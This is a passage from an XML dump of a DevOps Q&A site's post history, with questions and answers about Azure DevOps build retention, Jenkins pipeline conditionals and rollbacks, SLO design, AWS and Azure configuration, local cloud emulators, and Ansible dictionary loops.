levels of folders can be defined after Main Publishing Variable Folder?&#xD;&#xA;&#xD;&#xA;Objective: We have a central location where different teams are sharing or publishing their build artifacts. In some folders , Build deletion is not working according to Build Retention Policy. I can see our developers used lot of COPY FILES tasks in Build definitions which has long paths: I want to know into the things. May be the best way to improve Build definitions.&#xD;&#xA;&#xD;&#xA;Regards" ContentLicense="CC BY-SA 4.0" />
  <row Id="25127" PostHistoryTypeId="1" PostId="8593" RevisionGUID="5b70a47a-e88b-4ae6-8bae-cc9f5d195b58" CreationDate="2019-07-12T08:02:56.243" UserId="15961" Text="How Build Retention Policy Works in VSTS/Azure DevOps Server 2019 using Build Definitions" ContentLicense="CC BY-SA 4.0" />
  <row Id="25128" PostHistoryTypeId="3" PostId="8593" RevisionGUID="5b70a47a-e88b-4ae6-8bae-cc9f5d195b58" CreationDate="2019-07-12T08:02:56.243" UserId="15961" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25129" PostHistoryTypeId="2" PostId="8594" RevisionGUID="c93b22aa-2b10-4750-bf77-98cd81003ce7" CreationDate="2019-07-12T11:19:35.043" UserId="15408" Text="stage('My Conditional Stage') {&#xD;&#xA;    when {&#xD;&#xA;        branch 'master'&#xD;&#xA;    }&#xD;&#xA;    steps {&#xD;&#xA;        echo 'Do that only on master branch'&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;For Scripted pipeline ; if value of i is 0 then we need skip the stages ; obviously we can put a conditional logic by surrounding the stage but if we do that the UI doesn't show it like it skipped&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25130" PostHistoryTypeId="1" PostId="8594" RevisionGUID="c93b22aa-2b10-4750-bf77-98cd81003ce7" CreationDate="2019-07-12T11:19:35.043" UserId="15408" Text="is it possible &quot;When&quot; like keyword can be used in scripted pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="25131" PostHistoryTypeId="3" PostId="8594" RevisionGUID="c93b22aa-2b10-4750-bf77-98cd81003ce7" CreationDate="2019-07-12T11:19:35.043" UserId="15408" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25132" PostHistoryTypeId="5" PostId="8594" RevisionGUID="3b44f5b0-51ab-4b3d-806b-f10925b668b7" CreationDate="2019-07-12T11:22:21.453" UserId="13" Comment="added 32 characters in body" Text="    stage('My Conditional Stage') {&#xD;&#xA;        when {&#xD;&#xA;            branch 'master'&#xD;&#xA;        }&#xD;&#xA;        steps {&#xD;&#xA;            echo 'Do that only on master branch'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For Scripted pipeline ; if value of i is 0 then we need skip the stages ; obviously we can put a conditional logic by surrounding the stage but if we do that the UI doesn't show it like it skipped&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25133" PostHistoryTypeId="4" PostId="8594" RevisionGUID="3b44f5b0-51ab-4b3d-806b-f10925b668b7" CreationDate="2019-07-12T11:22:21.453" UserId="13" Comment="added 32 characters in body" Text="Can &quot;When&quot; like keyword be used in scripted pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25139" PostHistoryTypeId="2" PostId="8596" RevisionGUID="97d6d2c2-079e-4afa-82d1-6c16d8afa72a" CreationDate="2019-07-12T12:53:03.080" UserId="15202" Text="In an ideal world, the SLOs would be driven by business needs, and information about your customers.&#xD;&#xA;&#xD;&#xA;Remember: an SLO should be the level of reliability at which most users are happy with your service.&#xD;&#xA;&#xD;&#xA;So you need to know who your customers are, what they are doing with your service, and how tolerant they are of unreliability before they stop being happy.&#xD;&#xA;&#xD;&#xA;To do this you can partition your service's behaviour into critical actions, and decide what the correct SLI specification should be for each action: does it succeed or fail, and needs an availability SLI; does it take some time to complete, and need a latency SLI; does it produce data to be consumed later, and needs a freshness or a correctness SLI? And so on.&#xD;&#xA;&#xD;&#xA;With these specifications you can start to think about what the impact of unreliability would be on your users: will one failure every few days make a user unhappy? What about one failure per hour? Are failures masked by client-side retries? Will users be annoyed if clicking a button results in a 100ms delay before something happens? What about 1000ms or 10 seconds?&#xD;&#xA;&#xD;&#xA;At this point, you have enough information to start setting SLOs and thinking about how to implement your SLI specifications: making trade-offs between fidelity, cost, and complexity. It is here that you can take advantage of the fact that the service is still being designed, and ensure it is designed with observability in mind. For example:&#xD;&#xA;&#xD;&#xA;* Splitting the service into microservices such that those microservices map neatly on to different SLIs and critical actions&#xD;&#xA;* Ensuring that any HTTP requests that should be counted towards different SLIs can be disambiguated at the load balancer (eg., don't have all requests be POST requests to /handler)&#xD;&#xA;* Include logs and metrics (eg., via OpenCensus) in the design from the start and consider their impact on your application's scalability and reliability.&#xD;&#xA;* If you plan to use black box monitoring, allow some way to do this (consider how much of a web page's logic is in client-side scripts, as opposed to server side, and how you would monitor this)&#xD;&#xA;* Can you include client-side instrumentation, and how would you collect the results?&#xD;&#xA;&#xD;&#xA;The most important thing when setting an SLO for a new service is to plan to iterate: Even if you don't know what level of service is necessary to make users happy to begin with, you should have some metrics you can use to determine this (satisfaction scores, ticket levels, random surveys) and use these to tighten or relax your current SLO as necessary.&#xD;&#xA;&#xD;&#xA;Don't hold your service to an SLO that is harder to defend than your customers require, but do ensure that your SLO is sufficient to keep them happy.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25140" PostHistoryTypeId="50" PostId="6885" RevisionGUID="f89a121e-f25c-4ef7-a2cf-09ae13d1425a" CreationDate="2019-07-12T13:01:50.240" UserId="-1" />
  <row Id="25142" PostHistoryTypeId="2" PostId="8597" RevisionGUID="19972e85-4bbd-495b-9da2-888f6da85911" CreationDate="2019-07-12T16:51:59.010" UserId="12138" Text="You should use `TimeoutDurationMinutes` in your code while requesting for spot instances via cloudformation.&#xD;&#xA;&#xD;&#xA;For more details: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticmapreduce-instancefleetconfig-spotprovisioningspecification.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25143" PostHistoryTypeId="2" PostId="8598" RevisionGUID="f7741988-3ef6-4bf1-83d2-0aa7c248cdef" CreationDate="2019-07-12T17:38:51.343" UserId="12138" Text="As the issue is happening only with `/admin` URL, this might be related with cookies which are being passed to the backend application's `/admin` URL.&#xD;&#xA;&#xD;&#xA;You may need to check with CraftCMS team (or some other forums) and get the list of cookies which are being used by the `/admin` URL. You can whitelist those cookies in cloudfront specifically for `/admin` URL. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25144" PostHistoryTypeId="50" PostId="6344" RevisionGUID="746fc669-c9fe-4c98-9d1a-e9f99e96d721" CreationDate="2019-07-12T19:01:50.213" UserId="-1" />
  <row Id="25145" PostHistoryTypeId="2" PostId="8599" RevisionGUID="db545f23-e628-4390-9491-22ab140f2ea3" CreationDate="2019-07-12T20:04:05.647" UserId="4115" Text="A Scripted Pipeline is literally a Groovy script, so you can just use if/else conditionals like you would in a normal Groovy script.&#xD;&#xA;&#xD;&#xA;    if (env.BRANCH_NAME == 'master') {&#xD;&#xA;      // do steps here&#xD;&#xA;    } else {&#xD;&#xA;      // do other steps here&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="25146" PostHistoryTypeId="2" PostId="8600" RevisionGUID="d01bb9cf-8de7-4a08-ac6d-aafa74d9625a" CreationDate="2019-07-12T21:39:52.217" UserId="15993" Text="I am pretty new to jenkins and trying to figure out the best way to accomplish rollbacks.  Currently this is my pipeline:&#xD;&#xA;&#xD;&#xA; 1. Obtain a webhook from beanstalk (git versioning)&#xD;&#xA; 2. Build the project&#xD;&#xA; 3. Obtain the build artifact and deploy to Azure&#xD;&#xA;&#xD;&#xA;This is working great - the last thing I would like to solve is being able to rollback the project to a specific build. &#xD;&#xA;&#xD;&#xA;When I do a &quot;replay&quot; however, it doesn't grab the actual commit the build ran on - it grabs the current commit in the repo.  So it doesn't build the project from the commit it originally ran on - but the latest commit in the repo. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25147" PostHistoryTypeId="1" PostId="8600" RevisionGUID="d01bb9cf-8de7-4a08-ac6d-aafa74d9625a" CreationDate="2019-07-12T21:39:52.217" UserId="15993" Text="Jenkins Rerun Old Build with Specific Commit" ContentLicense="CC BY-SA 4.0" />
  <row Id="25148" PostHistoryTypeId="3" PostId="8600" RevisionGUID="d01bb9cf-8de7-4a08-ac6d-aafa74d9625a" CreationDate="2019-07-12T21:39:52.217" UserId="15993" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25149" PostHistoryTypeId="5" PostId="8600" RevisionGUID="83bbd018-0a59-48de-a328-decf3a15e0f2" CreationDate="2019-07-12T22:44:51.483" UserId="15993" Comment="added 1879 characters in body" Text="I am pretty new to jenkins and trying to figure out the best way to accomplish rollbacks.  Currently this is my pipeline:&#xD;&#xA;&#xD;&#xA; 1. Obtain a webhook from beanstalk (git versioning)&#xD;&#xA; 2. Build the project&#xD;&#xA; 3. Obtain the build artifact and deploy to Azure&#xD;&#xA;&#xD;&#xA;This is working great - the last thing I would like to solve is being able to rollback the project to a specific build. &#xD;&#xA;&#xD;&#xA;When I do a &quot;replay&quot; however, it doesn't grab the actual commit the build ran on - it grabs the current commit in the repo.  So it doesn't build the project from the commit it originally ran on - but the latest commit in the repo. &#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;&#xD;&#xA;        stage('Install Dependenciess') {&#xD;&#xA;            steps {&#xD;&#xA;                bat'npm install'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('Build the Project') {&#xD;&#xA;            steps {&#xD;&#xA;                bat'npm run build'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('Deploy to Azure Prod') {&#xD;&#xA;            when {&#xD;&#xA;                environment name: 'REPOSITORY_BRANCH', value: 'master'&#xD;&#xA;                beforeAgent true&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;&#xD;&#xA;                timeout(time:5, unit: 'DAYS') {&#xD;&#xA;                    input message: 'Approve Deployment?'&#xD;&#xA;                }&#xD;&#xA;&#xD;&#xA;                azureWebAppPublish azureCredentialsId: env.AZURE_CRED_ID,&#xD;&#xA;                resourceGroup: env.RES_GROUP, &#xD;&#xA;                appName: env.WEB_APP, &#xD;&#xA;                filePath: &quot;**/*.*&quot;,&#xD;&#xA;                sourceDirectory: &quot;build&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('Deploy to Azure Development') {&#xD;&#xA;            when {&#xD;&#xA;                environment name: 'REPOSITORY_BRANCH', value: 'development'&#xD;&#xA;                beforeAgent true&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;&#xD;&#xA;                azureWebAppPublish azureCredentialsId: env.AZURE_CRED_ID,&#xD;&#xA;                resourceGroup: env.RES_GROUP, &#xD;&#xA;                appName: env.WEB_APP, &#xD;&#xA;                filePath: &quot;**/*.*&quot;,&#xD;&#xA;                sourceDirectory: &quot;build&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            archiveArtifacts artifacts: &quot;build/**/*.*&quot;, onlyIfSuccessful: true&#xD;&#xA;            cleanWs()&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        success {&#xD;&#xA;            mail bcc: '', body: &quot;&lt;b&gt;Example&lt;/b&gt;&lt;br&gt;Project: ${env.JOB_NAME} &lt;br&gt;Build Number: ${env.BUILD_NUMBER} &lt;br&gt; URL de build: ${env.BUILD_URL}&quot;, cc: '', charset: 'UTF-8', from: '', mimeType: 'text/html', replyTo: '', subject: &quot;ERROR CI: Project name -&gt; ${env.JOB_NAME}&quot;, to: &quot;&quot;;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;    }&#xD;&#xA;}" ContentLicense="CC BY-SA 4.0" />
  <row Id="25150" PostHistoryTypeId="2" PostId="8601" RevisionGUID="8657e31d-73b9-485d-b5a0-01373f261040" CreationDate="2019-07-12T22:58:51.073" UserId="15544" Text="As a short term solution you can replay you last good build. Read the [docs][1] for more information&#xD;&#xA;&#xD;&#xA;As a long term solution I would separate build and deployment job and store the build artifact in private npm registry. In that way you can always pick whatever version is needed to deploy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/development/#replay" ContentLicense="CC BY-SA 4.0" />
  <row Id="25151" PostHistoryTypeId="5" PostId="8601" RevisionGUID="29283594-f529-4107-ad62-02c1ad4dccbf" CreationDate="2019-07-12T23:59:31.080" UserId="15544" Comment="added 289 characters in body" Text="As a short term solution you can replay you last good build. Read the [docs][1] for more information&#xA;&#xA;Update: There is a [bug ][2], so the proposed way will work only in multibranch pipeline. So as a short term solution you can convert your job to a multibranch pipeline and to use a replay when it’s needed &#xA;&#xD;&#xA;As a long term solution I would separate build and deployment job and store the build artifact in private npm registry. In that way you can always pick whatever version is needed to deploy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/development/#replay&#xA;  [2]: https://issues.jenkins-ci.org/plugins/servlet/mobile#issue/JENKINS-36453" ContentLicense="CC BY-SA 4.0" />
  <row Id="25154" PostHistoryTypeId="2" PostId="8602" RevisionGUID="dbe2c221-d568-44ca-9869-d672cb0d6be0" CreationDate="2019-07-13T05:59:18.077" UserId="9754" Text="What will happen with developers is same that will happen with ops. And a true DevOps is a role that actually governs the whole process it's quite harder than regular ops or development, it's just that people didn't reach the mental phase to understand it globally. It's in the end the engineer that will both code and do everything else. But hey you are missing something, you are talking about the cloud, but you are missing the decentralization part where private clouds will be hiring as insane. How many engineers you think it takes AWS to support this? It's true that regular Ops is shifting to cloud, but in reality it's more of the rapid technology evolution. A DevOps/Ops is a subject of hundreds of technologies and currently developer scope is keep quite limited in small companies. Developers will be forced in the end to take more of the operation aspect in their culture, it's just another form. Code is also getting automated, it's that it's a limited mean of expression, which would always make it subjective to complete optimization from AI. The real question here is that both developers and ops will get obsoleted in different phases if they don't acquire machine learning/optimization skills." ContentLicense="CC BY-SA 4.0" />
  <row Id="25160" PostHistoryTypeId="50" PostId="6351" RevisionGUID="f48512f7-225e-433d-a555-b0ec51ecdb06" CreationDate="2019-07-13T10:00:32.320" UserId="-1" />
  <row Id="25164" PostHistoryTypeId="50" PostId="6698" RevisionGUID="d9db9a5f-4b22-4118-81a8-4aba0951824b" CreationDate="2019-07-13T11:00:40.270" UserId="-1" />
  <row Id="25176" PostHistoryTypeId="50" PostId="8376" RevisionGUID="41e460e7-526e-433b-9520-c206672346e2" CreationDate="2019-07-13T15:01:40.210" UserId="-1" />
  <row Id="25177" PostHistoryTypeId="50" PostId="6062" RevisionGUID="2e7054ab-e0b9-4bbe-8a0e-671212e4f4b8" CreationDate="2019-07-13T16:02:10.293" UserId="-1" />
  <row Id="25178" PostHistoryTypeId="2" PostId="8607" RevisionGUID="8dbaaf63-97be-4521-b40b-37a92ec7d443" CreationDate="2019-07-13T17:17:47.433" UserId="12616" Text="My question is actually quite simple: if I have a webapp with a deployment slot and a monitor that checks the health of webapp in some way (connections, cpu time or the like) , if I do a swap, what is the monitor watching? The new webapp or the old?&#xA;&#xA;I would like to think it is always watching the current production slot, but I can't find it in the docs. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25179" PostHistoryTypeId="1" PostId="8607" RevisionGUID="8dbaaf63-97be-4521-b40b-37a92ec7d443" CreationDate="2019-07-13T17:17:47.433" UserId="12616" Text="Azure monitor and deployment slots" ContentLicense="CC BY-SA 4.0" />
  <row Id="25180" PostHistoryTypeId="3" PostId="8607" RevisionGUID="8dbaaf63-97be-4521-b40b-37a92ec7d443" CreationDate="2019-07-13T17:17:47.433" UserId="12616" Text="&lt;azure&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25181" PostHistoryTypeId="5" PostId="1035" RevisionGUID="003f40f2-880b-4ccb-b5ef-99c7d9338ac8" CreationDate="2019-07-13T19:25:06.917" UserId="1180" Comment="broken image fixed (click 'rendered output' or 'side-by-side' to see the difference; image retrieved via Wayback Machine); for more info, see https://gist.github.com/Glorfindel83/9d954d34385d2ac2597bbe864466259f" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://bitbucket.org/atlassian/localstack) spins up local emulators of a slew of AWS-style services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## AppScale&#xD;&#xA;&#xD;&#xA;[![AppScale logo][1]][1]  &#xA;&lt;sub&gt;(source: [jujucharms.com](https://jujucharms.com/_icon/120/appscale.png))&lt;/sub&gt;  &#xA;&#xD;&#xA;&#xD;&#xA;[AppScale](https://www.appscale.com/community/what-is-appscale/) can help you emulate the Google cloud:&#xD;&#xA;&#xD;&#xA;&gt; AppScale is an open-source cloud computing platform that automatically deploys and scales unmodified Google App Engine applications over public and private cloud systems and on-premise clusters. AppScale is modeled on the App Engine APIs and has support for Python, Go, PHP and Java applications.&#xD;&#xA;&#xD;&#xA;&gt; AppScale is supported and maintained by AppScale Systems, in conjunction with Google.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and pay features.  It supports emulating EC2, S3, and IAM.&#xA; [1]: https://i.stack.imgur.com/El7Us.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25182" PostHistoryTypeId="24" PostId="1035" RevisionGUID="003f40f2-880b-4ccb-b5ef-99c7d9338ac8" CreationDate="2019-07-13T19:25:06.917" Comment="Proposed by 1180 approved by -1 edit id of 1029" ContentLicense="CC BY-SA 4.0" />
  <row Id="25183" PostHistoryTypeId="5" PostId="1035" RevisionGUID="64fd28bb-2123-43a2-b48e-4b42b19d1e59" CreationDate="2019-07-13T19:25:06.917" UserId="40" Comment="added 4 characters in body" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://bitbucket.org/atlassian/localstack) spins up local emulators of a slew of AWS-style services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## AppScale&#xD;&#xA;&#xD;&#xA;[![AppScale logo][1]][1]  &#xD;&#xA;&lt;sub&gt;(source: [jujucharms.com](https://jujucharms.com/_icon/120/appscale.png))&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[AppScale](https://www.appscale.com/community/what-is-appscale/) can help you emulate the Google cloud:&#xD;&#xA;&#xD;&#xA;&gt; AppScale is an open-source cloud computing platform that automatically deploys and scales unmodified Google App Engine applications over public and private cloud systems and on-premise clusters. AppScale is modeled on the App Engine APIs and has support for Python, Go, PHP and Java applications.&#xD;&#xA;&#xD;&#xA;&gt; AppScale is supported and maintained by AppScale Systems, in conjunction with Google.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and paid features.  It supports emulating EC2, S3, and IAM.&#xD;&#xA; [1]: https://i.stack.imgur.com/El7Us.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25184" PostHistoryTypeId="2" PostId="8608" RevisionGUID="a53a344a-2fe1-4efc-9dd4-4792b1b0fd29" CreationDate="2019-07-13T19:46:50.997" UserId="16001" Text="Deployment slots share the same resources. The percentage of CPU used is what is taken by all slots combined.&#xD;&#xA;After a swap, it should still monitor the production slot." ContentLicense="CC BY-SA 4.0" />
  <row Id="25185" PostHistoryTypeId="50" PostId="5928" RevisionGUID="b37429ef-3a2f-4752-9a34-05a6adcbf1b5" CreationDate="2019-07-13T22:02:35.283" UserId="-1" />
  <row Id="25186" PostHistoryTypeId="2" PostId="8609" RevisionGUID="de140271-6411-4ee6-8cb6-fde7848788d4" CreationDate="2019-07-13T23:59:16.563" UserId="16003" Text="I'm not able to loop a list in a dict and keep the key of the original dict.&#xD;&#xA;&#xD;&#xA;Bellow an example of my data&#xD;&#xA;&#xD;&#xA;    vars:&#xD;&#xA;     nginx_users:&#xD;&#xA;        'instance1':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page-nginx.domain.internal&#xD;&#xA;           port: 8090&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance2':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page2-nginx.domain.internal&#xD;&#xA;           port: 8091&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance1':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;&#xD;&#xA;I need to loop it in a manner that It iterates like this&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: [&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ],&#xD;&#xA;           &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ]&#xD;&#xA;    ...&#xD;&#xA;        ]&#xD;&#xA;&#xD;&#xA;I am using&#xD;&#xA;&#xD;&#xA;&gt; when: item.value.basic_auth is defined&#xD;&#xA;&#xD;&#xA;In a loop which will filter out the items without the desired **value/item** and return only the &quot;items&quot; that I need to parse, like.&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;    when: item.value.basic_auth is defined&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;However from there I don't know how to loop those &quot;items&quot; to get the list of users on a way that it returns the single user per iteration and preserve the key.&#xD;&#xA;&#xD;&#xA;I know a work around would be to have use another variable instead of the key so I could just select it. but that wouldn't work for me in this escenario.&#xD;&#xA;&#xD;&#xA;I have tried using subelements and lookup but I don't seem to be able narrow down the exact combination also thought about using product too and try and traverse the data. But I wasn't able to use that either.&#xD;&#xA;&#xD;&#xA;After reading this:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/6370&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/4982&#xD;&#xA;&#xD;&#xA;I'm starting to think I will have to use Jinja to be able to do this.&#xD;&#xA;&#xD;&#xA;This is as close as I have been able to get to what I'm trying to achieve&#xD;&#xA;&#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.key }}&quot;&#xD;&#xA;        - &quot;{{ item.value.basic_auth }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;      when: item.value.basic_auth is defined&#xD;&#xA;    &#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.1 }}&quot;&#xD;&#xA;      loop: &quot;{{ lookup('subelements', nginx_users, 'basic_auth', {'skip_missing': True}) }}&quot;&#xD;&#xA;&#xD;&#xA;which results on this:&#xD;&#xA;&#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ skipping: [nginx-test-01.domain.internal] =&gt; (item={'key':&#xD;&#xA;     u'instance1', 'value': {u'roles': [u'product', u'nginx_instance']}})&#xD;&#xA;     ok: [nginx-test-01.domain.internal] =&gt; (item={'key': u'username2',&#xD;&#xA;     'value': {u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'basic_auth': [u'username1', u'username2'], u'port': 8090,&#xD;&#xA;     u'zerodowntime': True, u'cert_source': u'internal-ca'}}) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;instance1&quot;,&#xD;&#xA;             [&#xD;&#xA;                 &quot;username1&quot;,&#xD;&#xA;                 &quot;username2&quot;&#xD;&#xA;             ]&#xD;&#xA;         ]}&#xD;&#xA;    &#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles':&#xD;&#xA;     [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.domain.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8090, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username1']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username1&quot;&#xD;&#xA;         ] } ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8091, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username2']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username2&quot;&#xD;&#xA;         ] }&#xD;&#xA;&#xD;&#xA;Any thought/suggestions would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="25187" PostHistoryTypeId="1" PostId="8609" RevisionGUID="de140271-6411-4ee6-8cb6-fde7848788d4" CreationDate="2019-07-13T23:59:16.563" UserId="16003" Text="Traverse nested dictionary with keeping the keys in ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="25188" PostHistoryTypeId="3" PostId="8609" RevisionGUID="de140271-6411-4ee6-8cb6-fde7848788d4" CreationDate="2019-07-13T23:59:16.563" UserId="16003" Text="&lt;ansible&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
